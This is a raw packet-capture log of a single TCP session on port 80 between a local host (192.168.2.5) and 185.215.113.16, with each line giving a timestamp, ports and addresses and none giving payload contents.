Jul 27, 2024 09:25:12.452573061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452606916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452622890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452639103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452646017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452653885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452662945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452668905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452671051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452686071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452687979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452711105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452717066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452769995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452785969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452810049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452821016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452833891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452850103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452864885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452872038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452882051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452893972 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452894926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452904940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452924967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452933073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.487832069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487865925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487884045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487899065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487905025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.487915039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487930059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.487940073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487956047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487957001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.487971067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487978935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.487987041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.487999916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488003016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488015890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488018990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488037109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488043070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488043070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488053083 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488073111 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488106966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488123894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488140106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488145113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488157034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488157034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488178015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488189936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488264084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488279104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488293886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488302946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488310099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488323927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488325119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488338947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488352060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488352060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488363981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488373995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488434076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488450050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488466024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488475084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488493919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488496065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488512993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488524914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488526106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488527060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488555908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488560915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488681078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488697052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488712072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488723993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488728046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488743067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488744020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488758087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488759041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488775015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488782883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488785982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488801956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488818884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488936901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488954067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488969088 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.488981009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.488985062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489001036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489003897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489013910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489025116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489031076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489047050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489047050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489063978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489064932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489072084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489090919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489103079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489146948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489162922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489192009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489192009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489305973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489321947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489336967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489348888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489351988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489367962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489370108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489382982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489392042 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489398003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489401102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489423037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489444017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489567041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489583015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489598036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489612103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489613056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489629984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489629984 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489650011 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489654064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489669085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489675999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489675999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489676952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489696026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489706039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489748001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489783049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489801884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489815950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489825010 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489860058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489932060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489948034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489963055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489974022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489976883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.489990950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489990950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.489994049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490009069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490016937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490026951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490026951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490042925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490050077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490058899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490061998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490081072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490091085 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490200043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490216017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490231991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490247011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490247965 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490262985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490271091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490278006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.490288973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490288973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.490315914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544305086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544342041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544358969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544374943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544389963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544399023 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544405937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544421911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544426918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544439077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544445038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544461966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544461966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544477940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544497967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544504881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544507027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544517040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544549942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544621944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544639111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544652939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544662952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544668913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544672966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544683933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544693947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544709921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544715881 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544754982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544774055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544789076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544795990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544804096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544816971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544820070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544827938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544835091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544847012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544858932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544868946 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544895887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544923067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544934034 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544936895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.544961929 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.544969082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545002937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545018911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545036077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545048952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545059919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545085907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545178890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545193911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545209885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545219898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545224905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545238018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545239925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545244932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545255899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545264959 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545264959 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545272112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545295954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545309067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.545335054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.545373917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580430031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580463886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580480099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580497980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580507040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580522060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580530882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580535889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580539942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580554962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580568075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580583096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580598116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580600023 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580600023 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580614090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580622911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580631018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580636024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580646038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580656052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580662966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580672979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580679893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580691099 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580696106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580697060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580715895 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580725908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580748081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580771923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580787897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580789089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580804110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580810070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580820084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580821991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580837965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.580838919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580857992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580874920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.580992937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581008911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581023932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581034899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581039906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581056118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581057072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581079960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581099033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581126928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581126928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581170082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581207991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581211090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581273079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581279039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581289053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581305981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581311941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581324100 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581342936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581384897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581401110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581415892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581424952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581432104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581442118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581449032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581449032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581470966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581491947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581563950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581579924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581595898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581603050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581613064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581617117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581629038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581634998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581634998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581645966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.581669092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581675053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.581809998 CEST	80	49705	185.215.113.16	192.168.2.5
